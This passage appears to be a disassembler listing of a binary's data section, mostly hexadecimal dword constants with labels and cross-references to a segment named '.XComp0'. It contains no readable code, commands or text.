		dd 0B4DF1E03h, 0DB59A68h, 678281D1h, 0F1EC9E59h, 31C9D107h
		dd 769E5430h, 261500EDh, 0D0B860C6h, 9A02F83Eh,	0F79DD9A7h
		dd 5C64828Fh, 8083239Fh, 28D5103h, 0C885D47Eh, 6C023BEh
		dd 0FF9D198Eh, 0CC863989h, 222DC07h, 50D7AFD3h,	822F70D0h
		dd 140F00E7h, 0A918A177h, 0C9509B68h, 380A055Ch, 6080DC97h
		dd 0C515A00h, 0FA04D62h, 6C3588CAh, 0CFD16FE0h,	60002993h
		dd 4BDDA991h, 0A0BB8F0h, 5BAF9F40h, 59D318B0h, 0BD528319h
		dd 8E22B4h, 7CC916B0h, 1FE248F1h, 8022C43Fh, 40723713h
		dd 0A18A060h, 0F6A368AAh, 210E86E8h, 8F0A497Ah,	90AC8925h
		dd 16E99D85h, 200C8022h, 0DFC92070h, 0C1491300h, 0ECD996BEh
		dd 6A920065h, 0EA4C747Eh, 5D1867ADh, 2560930Eh,	0A91D64E4h
		dd 0D1EC4028h, 0F6EDDF2Eh, 80E0110h, 0DB519E09h, 6645D8D3h
		dd 89201130h, 31079AA8h, 28B1AB60h, 284014D3h, 81F2809Eh
		dd 8F7800FDh, 6B917FEEh, 7C919D68h, 75270E06h, 3F9B0139h
		dd 2576835Ah, 1E6C225Fh, 7868A28Ch, 0A380DE74h,	0B1480F3Eh
		dd 0B546819Bh, 36F21E0h, 8B466059h, 0A2E12h, 5FA0301Ah
		dd 0B1DE5BD3h, 0A90EE971h, 6C1BA328h, 469A2h, 54BD6570h
		dd 0D5982C1Ch, 0ECC7AC14h, 0A27987ECh, 3C1F89DCh, 1B8455D8h
		dd 0C8ED20A3h, 7F783E18h, 73BD3C1Fh, 18717707h,	0FBB69B20h
		dd 0FF69C09Dh, 0C3D53ABFh, 5DE78800h, 505AA558h, 3FBB1536h
		dd 6105A868h, 0D45F69Ch, 0D0D9097Ch, 6300F354h,	21982E6Dh
		dd 0AB7D831Fh, 0D60D90A0h, 59300007h, 0AFF81336h, 7600EB5Dh
		dd 626DDABh, 12A2E175h,	1E2FE692h, 306CACA8h, 699FEC99h
		dd 8645E005h, 0DD87AC33h, 0AC718D0h, 0A482003Dh, 9CC9A636h
		dd 0FB24B286h, 8865083h, 7A927A2h, 1CDD60Fh, 3F1470C1h
		dd 28B80E85h, 0F421A1C0h, 0C9A9976h, 698338ADh,	46004D19h
		dd 6ED4EFCDh, 0F25E57F0h, 7D110E90h
		db 2Eh,	0E2h, 2Dh
byte_544843	db 86h			; DATA XREF: .XComp0:00453174o
		dd 5DF4E430h, 6583DF18h, 0FC78F539h, 5B760008h,	0EE93D93h
		dd 677A73C0h, 0EB34070Ah, 68427CE7h, 463C469Fh,	97C90125h
		dd 8D08DD02h, 8404088Ah, 707E0034h, 0D3A5270Bh,	6000EEEAh
		dd 184AD9B6h, 0A75FB67h, 0C2888CBh, 0C4978788h,	40A3C55Eh
		dd 5414A1ACh, 0D28B98Bh, 0C1268322h, 3901401Fh,	7E83EF95h
		dd 4F6B2C10h, 9DB1A600h, 319C718Ch, 0E6BB046Ah,	0C12B693Eh
		dd 2AB7060h, 284428h, 1B52FDC8h, 1F72D61Ah, 6F1CF5ECh
		dd 0E5845348h, 5C8CE2DDh, 0B58500D7h, 2A03EAFCh, 0E301F3Bh
		dd 93A8B92Ch, 206499F9h, 7E4290h, 0AE8EFB9Fh, 1D02BF5Ch
		dd 4DC3FAh, 9CF2299Ah, 61C56DF7h, 488C8425h, 0F29709FDh
		dd 0B4307863h, 210310B8h, 56A09603h, 9E0404CCh,	8C9BAAFDh
		dd 13767774h, 530B8D70h, 148A530h, 941A214Ch, 39ED451h
		dd 3E079062h, 27C02280h, 2684A0Eh, 0AB8FC792h, 3C087C11h
		dd 0A8F38228h, 9C8DCC99h, 0E3E221F4h, 0C6F3BF9Ah, 69910006h
		dd 0B55322D7h, 0E11C6E42h, 91406BD1h, 0CCFA8014h, 41620096h
		dd 9D2176D3h, 8D60BC3Fh, 0C8FD08F1h, 252A007Eh,	0DC0B2BDDh
		dd 77EE115Ch, 13A948A0h, 561890F8h, 89399EFBh, 83553AEDh
		dd 9A86FC80h, 3AC9E910h, 23A25F18h, 1E073A9h, 0D4D143DFh
		dd 0DC50A6D3h, 4500903Eh, 0B775EB5Ah, 6083645Bh, 257F08ABh
		dd 24B19F86h, 304C1B91h, 9007AB22h, 0E32C3F93h,	0A6FB6141h
		dd 5B531981h, 0E6D1DC6Fh, 89CD8C1h, 1563887Dh, 6FD57100h
		dd 85DAFCABh, 0FF820042h, 901CA186h, 0C45A868h,	1A0604Ch
		dd 0B85371FAh, 0C0BFA6B6h, 66EEF332h, 196DCA0Bh, 7C78980Ch
		dd 0AA1D00A7h, 6E1B8695h, 5700AD73h, 0DC3B76FDh, 292FB29Bh
		dd 1E4A30Bh, 0BE8253D8h, 0A6003446h, 0A0280544h, 7CDE6Ch
		dd 0DA0FDBD6h, 0E8D185ABh, 86A2BBA0h, 6EF0E898h, 8AE0C350h
		dd 0B214E09h, 0B8FC06C4h, 64510041h, 0B5CD5A74h, 0C800667Dh
		dd 76D93175h, 5E233A1Ch, 4C76C294h, 388AB48Eh, 82838CFCh
		dd 0D4008DA9h, 9523F310h, 0B17A973Dh, 0AE29274h, 0ADFC5A2h
		dd 609C1CFCh, 0B56F9223h, 0C3F56A00h, 0BDE26480h, 0AC85007Ah
		dd 7F17DE6Dh, 83E8E1B7h, 78882528h, 0ED680801h,	3EAB0AF6h
		dd 9E3CCC23h, 6488CC80h, 0AF3656BAh, 4A9FBC01h,	0EB7B8094h
		dd 6870AC42h, 0F65B3EA0h, 7E51139Bh, 7B04140Ah,	216AF612h
		dd 222A0EC8h, 3C8600C4h, 3FAF8A60h, 2A207280h, 0C402C7h
		dd 6325F462h, 0E70AC47Fh, 43A2F700h, 5918EBB5h,	0F2F8708Dh
		dd 0DB2CA370h, 2E5E849Dh, 67E40018h, 7860FBABh,	0FAE0B567h
		dd 0DFF19C80h, 183F614h, 0A1D63527h, 8E07C79Ah,	95E379h
		dd 6E6353B5h, 48740052h, 225EB0C4h, 801DB2B6h, 0A2A392h
		dd 0CE48FEE0h, 84F43408h, 0FA4A5204h, 10C8C7C4h, 78A83AEAh
		dd 0C0A44239h, 8D430020h, 0B323C17Fh, 0C83F55h,	502BD68Ch
		dd 3D0314B8h, 68C73D3h,	441FE22Dh, 0CCA248A4h, 3DDE2B80h
		dd 55F85711h, 90A76826h, 0C650102Eh, 40A34A7Fh,	7E5EFC6Ch
		dd 3F028B20h, 9A68E902h, 42EC64C0h, 26A21829h, 3A5CF669h
		dd 7283BE7Ch, 0A0C637DFh, 0C2C3112h, 211B1800h,	4C823E24h
		dd 0EB1FAA66h, 0E4A009A5h, 0FB226064h, 8C8690h,	0C0B36AE3h
		dd 0D14A7E2Dh, 0D52B5900h, 0A2966CBAh, 7131C091h, 0D4E3DF5Eh
		dd 0FE2D3E00h, 0AA1848C2h, 854F005Bh, 0EE79D901h, 9F26B59Ah
		dd 0D8B1E08Fh, 2608DEA4h, 0A19A10E9h, 0B8A74961h, 6412F97Fh
		dd 6D47E02Eh, 0B0463C48h, 2677712h, 4FA2ECAAh, 0FC402B81h
		dd 0F82629DDh, 0F7089421h, 805CA983h, 14A62FE0h, 277DD173h
		dd 3C8A2100h, 0BCEBF843h, 128F78ECh, 0DAE0A5A2h, 95550070h
		dd 98E4143Bh, 60D34985h, 3E9B8D05h, 5020C829h, 5D00D1E6h
		dd 0AD87555Fh, 60C6ACEBh, 0CF6FF9DFh, 4BB04BD3h, 0D0F69A04h
		dd 0B48112B9h, 786676D2h, 25A3E50Ch, 41016AC9h,	5A0F7398h
		dd 0CDF81837h, 48C6F29Eh, 185825B2h, 5DDBB880h,	0E6248A50h
		dd 2A026473h, 469D68C1h, 0C204344h, 0C88D88C7h,	802C94FBh
		dd 9B192E3Dh, 1D003231h, 0A7CBE095h, 0E2733C39h, 0F41504A0h
		dd 81A81134h, 1ABA654h,	4180A128h, 79277E2Eh, 0FB0002CDh
		dd 8B30ED13h, 0A6B0C5Ah, 95280E1Ch, 11DF0540h, 43DCC92Ah
		dd 0A9180410h, 0F351A528h, 25F6009Bh, 822C3133h, 53EE7764h
		dd 821A760h, 17B94F8Fh,	20A1680Bh, 98212C88h, 8318221Ch
		dd 0D7126170h, 0B0F373B6h, 0A21A18C3h, 0DAC731E9h, 0F2E439C0h
		dd 12041D4h, 106FA7FFh,	0C5DCFC56h, 4E8D393h, 7C20A28Dh
		dd 85B633E0h, 6CA1B290h, 0D295E17Fh, 0C65CE060h, 9E213C84h
		dd 0A846609Eh, 71E5E870h, 76A300B6h, 0F2062E2Dh, 80136AB0h
		dd 6420A279h, 3DADB6h, 0D6F8B443h, 0B7B85196h, 0B9A9C201h
		dd 0CC8986A4h, 0E82192E4h, 24A230B4h, 0C1B16939h, 7797F100h
		dd 2A3E6DA3h, 92861508h, 0E088CE7h, 93817A1Bh, 0FB9D4B89h
		dd 0A44C0439h, 0C73AD200h, 638D2615h, 9B0A7D00h, 0FD991E25h
		dd 2873025Ch, 72191B9Ch, 166358A0h, 0F5003B88h,	0F0D55D5Eh
		dd 14FBF939h, 88A38524h, 645A8C0h, 7318B0FCh, 6889C282h
		dd 90C4A4A9h, 1DE92250h, 12C471FDh, 94278CC4h, 8394D577h
		dd 179C88h, 0B4C3771Fh,	68A725A1h, 0B0609E5Ch, 0AB0705h
		dd 0EACA2BF9h, 31720C20h, 52D19800h, 0C21EDA88h, 0A7181370h
		dd 0BB4C058Fh, 0BFE80874h, 15FE9D86h, 6982F899h, 0C4419B9h
		dd 1905F500h, 0F015E7EFh, 0CB24007Fh, 0DE612C6Bh, 84002A80h
		dd 0E11500Dh, 0FA603Bh,	4073FFCFh, 35594532h
		db 71h
byte_544E45	db 0EEh, 2, 75h		; DATA XREF: .XComp0:004531CCo
		dd 0D3D2020Ah, 600860ABh, 0B2E2C88h, 3E2D0214h,	0A0C48C59h
		dd 0E81C1892h, 0A980AEFAh, 96802368h, 3CF74C9Ah, 0C11C3096h
		dd 0C872B988h, 0AC6AA600h, 65B170B0h, 0D5CCA00Bh, 37530008h
		dd 0F57AE912h, 19EC4A22h, 0A20A8004h, 18C0D52Fh, 0A6A45F25h
		dd 0B610E988h, 42749373h, 84BC1225h, 30549F30h,	0F4901B22h
		dd 809CAB52h, 0FA96AFAAh, 52613CF2h, 3F4B817h, 814A4E58h
		dd 0DD6083EDh, 4CCD14Ch, 0FF823F8Ch, 0C60068E2h, 630C2943h
		dd 2C0421E4h, 8FE75DC8h, 7554B2h, 9466D662h, 5F244FB0h
		dd 0C250A351h, 0B925059h, 0D56488h, 708DFB58h, 77B371D0h
		dd 909BC902h, 5325DA32h, 425E8860h, 2B40FC2Eh, 572E06h
		dd 28F18DA7h, 0B7408B89h, 75809707h, 0B34D5ABh,	0CD0FFCB2h
		dd 0F387AEF8h, 0B79AC2B5h, 0B8A97451h, 0CE294983h, 80EFEBB2h
		dd 444C382h, 5C24EBD6h,	5C20579Dh, 4A1102h, 0E598DFDDh
		dd 4870F264h, 1B4498B0h, 0F45B093Eh, 0F00463FCh, 0A2C4B0B8h
		dd 8ED92145h, 389890D2h, 50489064h, 18A4C479h, 21DBC79Bh
		dd 0E1C70CEh, 5B81F677h, 7F827873h, 550089BCh, 1B5FAED4h
		dd 0B83D0CF5h, 9ADB05A1h, 0BCC3E1ABh, 83082DB6h, 0BB41010h
		dd 1FB83D01h, 3014EAC5h, 0F80C2C4h, 6D1AA25Dh, 0C40078ABh
		dd 4933C459h, 3F9CA750h, 92CE0E1Dh, 74402904h, 481DC8CCh
		dd 8911009Fh, 4C0200A7h, 7C0B29C0h, 28111A5Eh, 0E4C1B1ABh
		dd 88A06CF9h, 17AB807Ch, 857DE85Ah, 0BD94CB00h,	64D15B60h
		dd 5538252Bh, 0FF376018h, 4DBA2C00h, 83E480FEh,	0D93B3F0Bh
		dd 0B60C20BCh, 88951FBh, 259FB100h, 95797F52h, 27A32073h
		dd 77F77B00h, 34E29686h, 33653CF2h, 5CF40A00h, 80A2980Ch
		dd 3D0DE48h, 629B603Eh,	0E2A3B34Bh, 7FC22029h, 720361BEh
		dd 528FE34Eh, 0A79AD107h, 6428D475h, 0F5CB0793h, 0FCD83132h
		dd 0F7C28CCh, 798129h, 4D0576AEh, 0B4A2412h, 0DD560B0Ch
		dd 0A3AFF882h, 66FD6000h, 8C80136Eh, 0A334D8D0h, 68D2BC34h
		dd 1FC1249Dh, 2805B711h, 24EC2284h, 63C89281h, 87C04AAAh
		dd 0D38A708h, 0ED60015Eh, 1541439Fh, 31FB9820h,	0F759751Dh
		dd 8825108Eh, 8371C7A0h, 2A004881h, 0CB945C27h,	2C98941Bh
		dd 0B911E8h, 7A789ABFh,	790B7DDh, 0AEE55BD6h, 54A130EBh
		dd 29035C2Ah, 9873D118h, 0D20BA0EFh, 270E081Dh,	861220BEh
		dd 14A28484h, 0F61EEE07h, 8C84DB71h, 0CDB49377h, 0A98921DCh
		dd 3E9A0810h, 26C08158h, 0C02CC43Fh, 66A90509h,	0B810E14h
		dd 54A63C8Fh, 821A2871h, 46501DFAh, 0F11C1844h,	541ABA8Eh
		dd 2853D401h, 58B7F9DCh, 9D0A2862h, 429812FAh, 6511B485h
		dd 0E0098611h, 5F5044E7h, 6C079A8Dh, 0B41CAD05h, 9887C190h
		dd 0B2609C6Bh, 0C8538C50h, 0CDF42487h, 80C6EFD0h, 3BB51D70h
		dd 0E58A8061h, 4EBAB693h, 2F098402h, 50B33883h,	49A93CB4h
		dd 0D800405Fh, 396F4862h, 3546B100h, 3D8C2A31h,	0C05A07EDh
		dd 14E03B5Fh, 0BB30B07Dh, 91187640h, 8892CF38h,	25576350h
		dd 0E286009Ch, 0E7025356h, 4DA006Ah, 5249BAE6h,	4CBA9693h
		dd 0C0F49D2Eh, 5DC0282Eh, 3CAE941h, 0EBFF4B02h,	0C816B3D0h
		dd 0FD03064Ah, 0C09A0EF5h, 4A689F81h, 1860439Ch, 0E97C8783h
		dd 19F89B32h, 4C4428h, 84014445h, 678C4ED7h, 0E3ACA700h
		dd 9715C34Bh, 54EE1253h, 0CC5084EBh, 0FD036580h, 1F9EEC1Dh
		dd 21795F99h, 0E8081B30h, 390BBE86h, 0CC55Bh, 4AED9935h
		dd 0CEBC0171h, 0C6633719h, 22FC295Eh, 400E00BBh, 15C520CEh
		dd 55E04CBDh, 2287A101h, 3E356D1Dh, 8427E077h, 0C059A020h
		dd 0F07A31Bh, 0B6615B02h, 776DE2E0h, 29181FB2h,	2181C19Ch
		dd 62872427h, 0FC020B40h, 0F85400CEh, 359DDA8Dh, 13C978F6h
		dd 2E383098h, 0BA018D31h, 6B47B52Fh, 0C1E9FEA1h, 0B8806838h
		dd 0C465C690h, 0BCFD303Dh, 2C1C9386h, 0A1C14400h, 5C6F4AC7h
		dd 0EA3AB49Ah, 2211DF0Bh, 50000864h, 57DC0BB8h,	91FC9DD4h
		dd 17936078h, 0EA002954h, 2F79C48Eh, 0EF41540h,	2A4D200Ah
		dd 0F8909D6Bh, 0D8A4A968h, 872B8103h, 899A828Ah, 0D82CE1F6h
		dd 92D32F12h, 9452A27Ch, 0DD9CF807h, 7402D560h,	40ECE286h
		dd 0C4D4143Ch, 0E211B738h, 3F930500h, 0A0CCE319h, 0B11F00CDh
		dd 0F28878C0h, 124C081Eh, 872517D0h, 1C02E431h,	4A848208h
		dd 0D0A08877h, 6F002A72h, 0CABCA9B9h, 7C48BB8h,	73F98906h
		dd 0C24B0AFh, 0AC0054FAh, 6038AE18h, 16AA34F1h,	0C09A6545h
		dd 0E3E9240h, 0B4DC1F29h, 0A0D0C712h, 97CB2684h, 3D585440h
		dd 7068DA0Bh, 190E4D9h,	18492FDFh, 0DC57FA0Eh, 7A2E7CF2h
		dd 0D800306Ch, 0D5A0E62Dh
dword_545350	dd 0B6201973h, 15806826h, 0B651C470h, 0E6E89822h, 9B21C425h
					; DATA XREF: .XComp0:off_45341Co
		dd 11A4F207h, 0F6001DFAh, 36226173h, 0B6055080h, 0BE260E8Eh
		dd 0D9E2C05h, 4CC81C12h, 1F677F2Fh, 3EF95CB7h, 5A898ACh
		dd 825D9AF2h, 80967B1Ch, 0E4004D7Dh, 96A1B753h,	0EDD6F50h
		dd 0D07EEF3Ah, 82735961h, 1839AE54h, 0A38D2340h, 0CB45005Ch
		dd 4544BFDh, 90F34EF6h,	80997A68h, 86071E3h, 8894D584h
		dd 60EF1B60h, 0ED3A00B7h, 283B51CEh, 800EC972h,	72FCDFDAh
		dd 1EFD8404h, 0C1BAB42h, 4C61D0E2h, 64198F7Dh, 0FD4D8E5Eh
		dd 348CB91Dh, 88762020h, 9F3AEE1Ah, 133F8928h, 0DD5041A0h
		dd 0D2005833h, 0D52C56ECh, 5075FA6Ch, 4F3D3C00h, 19E62940h
		dd 962E2D7h, 90CC3E5Dh,	0D52E10E6h, 8217B321h, 0C830E094h
		dd 24241F3Eh, 3BBC175h,	0D459F45Fh, 22FCC8FDh, 47EE5D00h
		dd 4A683C91h, 0BFC41246h, 0D0E08908h, 0EA0AEE1Eh, 0E083620Dh
		dd 609FAD42h, 4E2504FAh, 0A35C23DFh, 0FED9088h,	80FCC648h
		dd 2CF0122h, 4440220h, 0AA0C4870h, 1401E466h, 0A08BC47h
		dd 6420C81Fh, 452C0758h, 508B2A7Fh, 5DFA02E6h, 0F0EF792Eh
		dd 9F007710h, 0BCC14838h, 2CB893BFh, 0D40B49Ch,	7D52A626h
		dd 20C95AADh, 41BB5D08h, 9746851Fh, 6755AB80h, 0B0308C7h
		dd 4DD0846Ch, 1C6A6002h, 8313385Eh, 4B9DBC20h, 25A3005Ch
		dd 0E80BC8E6h, 451C6669h, 7466A186h, 0A6CB9A04h, 0C008D504h
		dd 1FBA2B08h, 74FBE52Ch, 0EAB744h, 0D0E3C84Ch, 0C9011A7Dh
		dd 0FF05D2E5h, 0EFCC3826h, 4C5A033Eh, 575C2578h, 64933924h
		dd 98AA530Bh, 94FFA8A4h, 0F59E8498h, 5364C821h,	229DA644h
		dd 0C72E1DFEh, 44A58C69h, 6D660010h, 7C5661F0h,	2916CCF3h
		dd 3CCF19F8h, 0F4A02200h, 0B3F963D9h, 35C57C00h
		db 27h
byte_545541	db 0A2h, 9Ch, 20h	; DATA XREF: .XComp0:00452D18o
		dd 23311724h, 7E8637Bh,	250E05A4h, 0A126D4A3h, 8D1881B4h
		dd 7DFBB2B6h, 6EB400E8h, 58BFCCF7h, 36002F3h, 39DC165Dh
		dd 0B8D8F6E2h, 10AA74A1h, 9672A290h, 6F282414h,	7C530F97h
		dd 0B7A214A0h, 4226AA43h, 44227C46h, 2010A4B3h,	7C96FB8Bh
		dd 1582770Fh, 0FEE5C0D7h, 0C4AE5203h, 0C3A311E8h, 0D10D88A0h
		dd 6171240Eh, 2B108002h, 94752844h, 5B8E7300h, 46B045FEh
		dd 0A0481750h, 0FDBC2293h, 0F8854C64h, 9B44AC2Ch, 38207D62h
		dd 0E605FCh, 0AC60C873h, 0D7FB0231h, 85E04C9Eh,	0A5F103h
		dd 0D839A3D2h, 0DC3E7159h, 6284C848h, 60221AB1h, 2DF1F2DFh
		dd 54857880h, 0C0CB1B6h, 0A37CC08Ch, 247EF200h,	0E0907817h
		dd 0C14765A2h, 3ED8D0ABh, 0C02CCC7Fh, 0A527509Fh, 10E36BD8h
		dd 1CA2F508h, 0C471CC84h, 0B178181h, 97098C68h,	0C804C8F4h
		dd 5A57406Ah, 4261E2h, 4DAE37E5h, 0B0D68B9Dh, 7DC51402h
		dd 59842416h, 890110C8h, 219041B2h, 121E6501h, 2D942029h
		dd 0EF00F062h, 0C1D0A76Ah, 0E4BAB7A5h, 68F313E5h, 810CD0A2h
		dd 0B3FA892Ah, 0AB952500h, 1FAF2273h, 740F95E0h, 0F287D1E0h
		dd 78BBA43Ah, 5C48504Dh, 811D2C0Eh, 105A69B0h, 22F02A5Ch
		dd 63CC008Eh, 8C1B203Fh, 0D600AADAh, 4BD0B581h,	126C9121h
		dd 488E6DC7h, 7280BBF4h, 0B2E55905h, 0EDB6001Ch, 0BF41A508h
		dd 0DB798DF7h, 0A9930B16h, 67429C1Ch, 0C6721F11h, 270844D4h
		dd 0F02A575h, 3DAFEB80h, 387A28h, 0FF1BDD87h, 2F619A7Fh
		dd 0A4687C16h, 183B5037h, 6B8FB8h, 188EEC8Ah, 0CD9FE203h
		dd 9A9B1701h, 25A4B5B9h, 9D82B06Ch, 64D11FE8h, 8F504026h
		dd 4C768211h, 0EC89260h, 0DB600FCh, 0F4323E95h,	3C0111B9h
		dd 97FE6581h, 2611BCABh, 0F686107Ah, 5832FB7Ch,	0DAC69283h
		dd 581E903h, 0A094D853h, 0EEE5152h, 2C28FC0Bh, 88C43ACBh
		dd 2A413403h, 0B825CC39h, 0AFCDB56h, 71281281h,	0F866256Ch
		dd 0B061DD24h, 24482F18h, 292C6053h, 10E97497h,	31688430h
		dd 57AE49h, 17281B33h, 0D8308632h, 565AA60Ah, 0B11020D6h
		dd 0AC79282h, 691198F9h, 6111284Ch, 3A2B1EABh, 111642ECh
		dd 861CA408h, 0A948A28Ch, 3187B704h, 0F3857F19h, 11B4C8h
		dd 8A609259h, 3C86F2F6h, 38F9DE3Ah, 8027DEC7h, 0DBAC9909h
		dd 0AC2D8014h, 2E04E5EEh, 9C84492Bh, 0D5C0B0ACh, 0BF19ED1Fh
		dd 3E81AB00h, 6CCFD117h, 4844C09h, 6152009Fh, 70A6F44Ch
		dd 0A9950200h, 0B72FB9D3h, 4B86187Eh, 9E9B903Eh, 0FAC31E00h
		dd 9CEE5C65h, 70800B72h, 0CC49A068h, 3A83D28h, 98FA1108h
		dd 0C673A82Ch, 0CF0C1D05h, 2D88A43Ah, 7A2B44A0h, 0A72D2D6h
		dd 9E98BF3Dh, 80529ABCh, 38FA1001h, 0CE60217Ah,	9617C2Ah
		dd 9C68E873h, 423E6051h, 284B9309h, 0D06E5891h,	6F0BC352h
		dd 89CE19BEh, 7BC18F0h,	1C9800E1h, 8A256F74h, 0DCB6BB8Dh
		dd 3602E2h, 9C73B29Bh, 0B710FB50h, 4828024h, 62C3B840h
		dd 0C95F1E03h, 3F678015h, 2518783Ah, 12D1841Ch,	46606AE7h
		dd 30809F7Ch, 914BC363h, 0B6208013h, 0D63FE8B3h, 98391C00h
		dd 22A8EB8Bh, 2983B801h, 3E2AFB8Ch, 0BB796C8h, 0A768A45Bh
		dd 2C216819h, 0F4B67450h, 7030B4AEh, 41A15D0h, 0A4C9A79Ah
		dd 0BB58C286h, 2D00A051h, 84FEABD4h, 5DB800A6h,	8315A48Fh
		dd 36613D43h, 0E1CCF62Ch, 0E09C409Fh, 18C8B74Fh, 2A9300C4h
		dd 5DD0D2CCh, 7A092E67h, 0E48EC022h, 0E84C000Ch, 0EB705556h
		dd 70033CCh, 5C531DFBh,	27C79761h, 44098F46h, 87BED818h
		dd 70EBB30Fh, 2FA7C028h, 1D61F398h, 0D7368DEFh,	8414115Fh
		dd 484D58Bh, 0A58E2121h, 0C040B814h, 0F6E6193Eh, 93F80996h
		dd 0E0D1DD76h, 0DB414800h, 0BB49A7h, 0F6354A72h, 239338AFh
		dd 0B4AA1704h, 40824563h, 0A01B2967h, 0E46DD2D0h, 5DB54D00h
		dd 618D2D5Bh, 0C5320115h, 1DA821B4h, 44770Bh, 8CE468Dh
		dd 2B67694h, 5B6B2687h,	3460A7D4h, 9D88A886h, 40544850h
		dd 7B203C41h, 530400F9h, 9CC87714h, 84EA1098h, 0BAF1D401h
		dd 0A6F596Eh, 45806068h, 6D1E8780h, 7E0C2C03h, 0A06F06BDh
		dd 90A73E7h, 2811CE78h,	0A54380C4h, 0A3867A01h,	0E0CBC15Ah
		dd 0AA0F90DFh, 85F8E1B7h, 0D4C8FBD8h, 4266008Eh, 8445041h
		dd 750D6CE7h, 38C252A3h, 0DC004466h, 3ACCB15Ch,	3B8BFEEh
		dd 9CE40E73h, 94530202h, 0E156241Eh, 70203E9Ch,	50309D2Bh
		dd 384BA992h, 0B410C8h,	5EDA76Ch, 0FF6D96D1h, 9B144B02h
		dd 81B508A5h, 7A4720AEh, 0AD00C033h, 6F82581Bh,	0C09D885h
		dd 6A1E1193h, 80C4F1F0h, 0C4DD8838h, 0CA489C98h, 2FAA222Ch
		dd 6C18AD97h, 61127493h, 903008D4h, 1237EBDh, 1D0D5FFh
		dd 70953414h, 0BE001D80h, 883F653Eh, 2827D229h,	4FBCA718h
		dd 0F42C2205h, 18469E10h, 183F9A53h, 6F586550h,	293E12FFh
		dd 1AECA4h, 4DB95299h, 562D3C9Ch, 12A83200h, 3A5CFA74h
		dd 2C7202E0h, 4F8FE880h, 0A04FA876h, 0B4C99D9h,	2681F814h
		dd 60D89020h, 1BCA48D8h, 9B0B1203h, 0B7FBABh, 0A0F03B39h
		dd 0FF285B73h, 6494BB00h, 9F8E24DFh, 9A2E8A3h, 0C0D8BA5h
		dd 0CE20B494h, 4088B639h, 2E411871h, 220E8509h,	2304E6Bh
		dd 84BA6FA9h, 16E0305Dh, 0E200F77Ch, 696B3C9Bh,	459F5E5h
		dd 803114EFh, 8084B879h, 0CC8A72Bh, 58B00083h, 9D1C5593h
		dd 0B80937DBh, 2976F521h, 61B098C0h, 3CFC77C2h,	7F8F49F8h
		dd 0E36FD27Ah, 0AD936BA1h, 250684F3h, 0F0B8A287h, 3C841AC1h
		dd 0F60BD1EBh, 79F94DCh, 0C7397183h, 243DD02Eh,	0CEEF004Fh
		dd 14E3E4EAh, 5324DF0Ah, 0F58BF4CBh, 27B07190h,	39E04C14h
		dd 7880E30Eh, 56F64436h, 0F80440E8h, 40AA8424h,	0EBA0028Ch
		dd 1B920EA3h, 0C2202A81h, 9EC13148h, 9AD2FA12h,	0EC01ACA2h
		dd 0BE7310DEh, 3D98EC24h, 0CC2C2503h, 0F929F812h, 2068719Ah
		dd 87E9EE80h, 1BFAAE60h, 769B23Eh, 0D4D78647h, 72A268D2h
		dd 81CC9960h, 1D6E4A97h, 779E4383h, 40A3AA92h, 9CF850B1h
		dd 3B0065C3h, 0C1C63CB2h, 9F80EE3h, 79B1291Dh, 62F91418h
		dd 2AFC751Fh, 6EB0C86Dh, 0A9C71EFAh, 191C090Fh,	410040E4h
		dd 0C1808160h, 2B8DF36h, 433D509h, 28E6A668h, 5A7A1B43h
		dd 0C974C848h, 248BBD2Eh, 5C443700h, 247053CCh,	0AF1B16Eh
		dd 12C07972h, 0A90C8290h, 3C99D620h, 9EE45082h,	40F49E43h
		dd 0C95CA2E7h, 23AC3B17h, 1F6E64C8h, 0C01D6F90h, 65A06CB0h
		dd 6D00105Ah, 0E52B0D70h, 0B811FE1h, 805FFC7Bh,	91006CC4h
		dd 1B76384Eh, 9E48143h,	4AFD670h, 25170C80h, 702218Fh
		dd 1B593903h, 5A5C400Bh, 0FA9D88A3h, 72601496h,	12B6186h
		dd 6C453B21h, 6D9A68D7h, 9E281858h, 0B0630739h,	0CF61098Eh
		dd 0A600C4A2h, 0F1EF4BD7h, 0EB823E16h, 995F1802h, 0FE9D01B7h
		dd 38286B1Ch, 0F43CB297h, 14E68A65h, 0C316BB02h, 749DC0BEh
		dd 7F3F4004h, 0B9583A20h, 397A1298h, 97EB4E6h, 0B414813Bh
		dd 7C574B00h, 0B7395B11h, 0B6268910h, 98B4897Eh, 0D857DCh
		dd 6FD332E0h, 5AFCDB15h, 0FAFF8804h, 0E48DA88Eh, 8DF8C0h
		dd 0AA7C15E3h, 45979D56h, 0E1725803h, 74A6BB7Ah, 68324090h
		dd 3088A95Eh, 7EF61723h, 0AB3807C1h, 0CC732958h, 995A8081h
		dd 4BECA023h, 29CC1035h, 490E3421h, 0A3848C30h,	95F6005Dh
		dd 88B9FB0Bh, 3F0666D9h, 15F2271Fh, 0C0B15BE0h,	73AB8A6Ch
		dd 7517037Ah, 78C8C31Ch
		dd 80C25839h, 0EFAC9B00h, 0DBCEF676h, 0FE8ADF00h, 7E0E56EBh
		dd 267876B8h, 1E24A443h, 0BB93028h, 840045B7h, 9B6ED1CEh
		dd 7096475h, 0D8D2F247h, 0EE789076h, 0F60F1F51h, 49901C8Dh
		dd 8443Eh, 0C224814Ah, 454DB487h, 0F6DA2C00h, 0E86EB5E2h
		dd 93F883h, 9BF8DE3Fh, 0FC0B73B6h, 9C805604h, 0F4F21E03h
		dd 0B15AC22h, 304E9Ah, 43165886h, 18793h, 0C327496Bh, 15F9EE52h
		dd 50532224h, 6704872Ch, 48C1DFB7h, 0BC707AABh,	56B414F9h
		dd 0B0BA4E9h, 58D82523h, 0CA40E896h, 0AA02EDh, 818DE86Dh
		dd 913ED7DEh, 5866BCA2h, 788639h, 5B0BBB92h, 49871244h
		dd 1B2778E5h, 0C800E8E5h, 0CD1A425Bh, 53D63F1Ch, 0A1DF1718h
		dd 0B2049B08h, 3E33207Eh, 9A00B8B2h, 0B9D4FC9Dh, 0B100E3A2h
		dd 75438B4Fh, 9F9B0Ah, 6C418AF3h, 3150D3B7h, 9A021C75h
		dd 684F5E21h, 9C8C5AA8h, 97424048h, 0FC4C0CB4h,	0B25A1168h
		dd 73C05448h, 892CA3E0h, 0DCA1D900h, 4B52604Ch,	0EA6503B3h
		dd 0FC08A66Bh, 0A0F56028h, 0ACE83CB0h, 0B0E8309Fh, 0B5650FD8h
		dd 46AE06EBh, 0B47E57C4h, 209D295Ch, 511F435Ch,	4655002Fh
		dd 0BFCEA7Ah, 9B126728h, 70007EC8h, 8660D42Dh, 843E0F63h
		dd 0C475E22Eh, 763D1D22h, 0DEE8012h, 0A98FC886h, 442898DDh
